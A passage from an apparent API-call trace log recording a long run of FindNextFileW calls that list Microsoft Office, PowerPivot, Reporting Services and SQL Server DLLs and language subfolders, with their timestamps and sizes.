nFileSizeHigh=0x0, nFileSizeLow=0x6640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Dallas.OAuthClient.dll", cAlternateFileName="MIF98A~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae48f06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x62068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.ConnectionUI.Dialog.dll", cAlternateFileName="MI3A9E~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.ConnectionUI.dll", cAlternateFileName="MI58F6~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Core.dll", cAlternateFileName="MIC655~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffdb5707, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffdb5707, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffdb5707, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Picasso.dll", cAlternateFileName="MI021B~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Picasso.Sampler.dll", cAlternateFileName="MI7F2A~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ad77c9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ad77c9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Common.dll", cAlternateFileName="MI37D9~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5ca8ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5ca8ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa806c3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x146ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.DLL", cAlternateFileName="MIA28E~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c88562, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c88562, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18e058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Excel.dll", cAlternateFileName="MIDE30~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4caf7cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4caf7cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb4ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.dll", cAlternateFileName="MI2EE4~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.tlb", cAlternateFileName="MICROS~1.TLB")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30878, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.dll", cAlternateFileName="MI8157~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1726c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.dll", cAlternateFileName="MIBCC9~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91d3da7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91d3da7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Interfaces.dll", cAlternateFileName="MI2DB2~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x886d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.dll", cAlternateFileName="MIB40B~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19b820e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19b820e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf19b820e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1faa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.dll", cAlternateFileName="MIC718~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36468, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15868, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.dll", cAlternateFileName="MIBACB~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.dll", cAlternateFileName="MI319B~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4561444, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4561444, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85f4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.reportviewer.common.dll", cAlternateFileName="MI70D9~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4995f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4995f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x872c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.reportviewer.winforms.dll", cAlternateFileName="MI925C~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Configuration.SString.dll", cAlternateFileName="MIB00C~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.dll", cAlternateFileName="MI4FF6~1.DLL")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0228.712] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.tlb", cAlternateFileName="POWERP~1.TLB")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0228.713] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0228.714] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0228.714] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, 